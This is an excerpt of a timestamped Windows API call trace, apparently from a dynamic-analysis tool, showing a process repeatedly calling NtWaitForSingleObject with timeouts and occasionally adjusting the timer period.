	[0110.685] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.696] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0110.696] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0110.696] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0110.696] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.700] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.702] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.708] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.709] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.712] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.713] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.715] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.721] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.725] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.727] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.729] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.732] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.735] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.741] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.745] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.752] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.754] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.756] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.762] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.765] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.766] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.767] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.769] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.772] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.777] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.781] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.786] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.790] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.794] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.798] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.802] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.806] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.810] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.815] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.817] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.827] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.831] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.831] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.836] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.842] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.844] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.846] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.851] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.862] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.864] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.866] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.877] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.881] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.883] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.884] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.886] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.889] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.890] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.891] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.892] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.913] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.918] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.931] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.942] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.954] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.967] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.978] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0110.992] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.002] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.014] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.028] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.040] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.050] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.066] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.079] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.093] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.103] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.113] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.123] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.133] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.150] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.167] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.178] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.193] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.207] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.216] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.227] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.274] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.287] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.296] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.311] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0111.311] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0111.312] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0111.312] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.316] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.332] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.337] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.352] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.359] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.365] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.367] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.368] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.369] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.372] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.377] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.381] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.385] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.388] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.389] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.392] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.402] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.407] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.417] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.421] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.425] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.428] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.434] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.437] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.438] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.442] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.445] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.447] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.451] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.454] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.456] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.459] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.461] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.463] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.469] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.470] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.472] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.476] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.478] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.483] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.484] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.488] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.491] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.494] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.497] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.500] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.503] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.512] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.513] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.515] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.516] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.517] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.518] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.520] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.537] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.543] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.555] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.565] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.582] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.592] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.603] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.627] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.638] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.649] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.662] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.688] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.704] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.715] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.731] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.747] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.757] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.772] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.784] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.795] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.805] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.815] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.825] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.836] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.849] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.860] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.873] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.886] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.903] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.916] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.930] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.940] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.950] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0111.998] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.014] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.026] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.037] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.055] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.066] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.076] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.086] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.099] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.109] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.121] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.132] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.144] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.155] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.166] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.176] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.192] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.202] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.214] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.225] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.235] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.248] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.258] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.274] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.285] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.299] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.309] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.320] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.331] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.349] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.361] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.375] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.386] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.397] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.408] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.422] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.443] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.458] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.471] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.483] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.496] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.511] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.523] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.534] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.546] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.557] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.577] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.588] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.599] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.609] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.621] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.633] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.649] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.662] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.677] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.687] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.697] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.708] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.721] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.731] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.741] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.751] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.764] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.775] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.797] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.808] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.826] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.855] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.867] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.880] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.905] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.923] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.936] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.948] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.963] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.985] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0112.996] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.008] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.019] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.033] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.047] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.058] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.080] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.093] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.106] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.123] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.133] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
